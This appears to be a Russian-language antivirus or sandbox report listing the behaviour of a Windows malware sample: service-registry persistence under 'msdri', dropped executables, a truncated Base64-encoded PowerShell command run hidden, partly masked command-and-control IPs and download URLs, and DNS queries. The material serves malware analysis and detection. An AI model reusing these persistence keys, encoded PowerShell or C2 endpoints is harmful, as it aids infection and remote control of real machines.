Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msdri] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msdri] 'ImagePath' = '"<SYSTEM32>\MigAutoPlay\msdri.exe"'
- 'msdri' "<SYSTEM32>\MigAutoPlay\msdri.exe"
- 'msdri' <SYSTEM32>\MigAutoPlay\msdri.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABVAHoAdAB6AGQAbQB5AD0AKAAoACcATAB1AHUAJwArACcANQAnACkAKwAnAG0AJwArACcAbwB1ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAcgBQAHIATwBGAGkATABlAFwASgB6AGYAdQBtA...
- %HOMEPATH%\jzfumvx\nwsvsce\mo046z.exe
- <SYSTEM32>\migautoplay\msdri.exe
- %HOMEPATH%\jzfumvx\nwsvsce\mo046z.exe в <SYSTEM32>\migautoplay\msdri.exe
- '19#.#92.39.136':80
- '5.###.168.53':8080
- '16#.#41.41.111':7080
- http://ar####dia.com.br/Blog/Q5NrX3zla0/
- http://in##.asia/administrator/x966Dy/
- http://16#.##1.41.111:7080/yMGM/ via 16#.#41.41.111
- DNS ASK ar####dia.com.br
- DNS ASK in##.asia
- '%HOMEPATH%\jzfumvx\nwsvsce\mo046z.exe'
- '<SYSTEM32>\migautoplay\msdri.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABVAHoAdAB6AGQAbQB5AD0AKAAoACcATAB1AHUAJwArACcANQAnACkAKwAnAG0AJwArACcAbwB1ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAEUAcgBQAHIATwBGAGkATABlAFwASgB6AGYAdQBtA...' (со скрытым окном)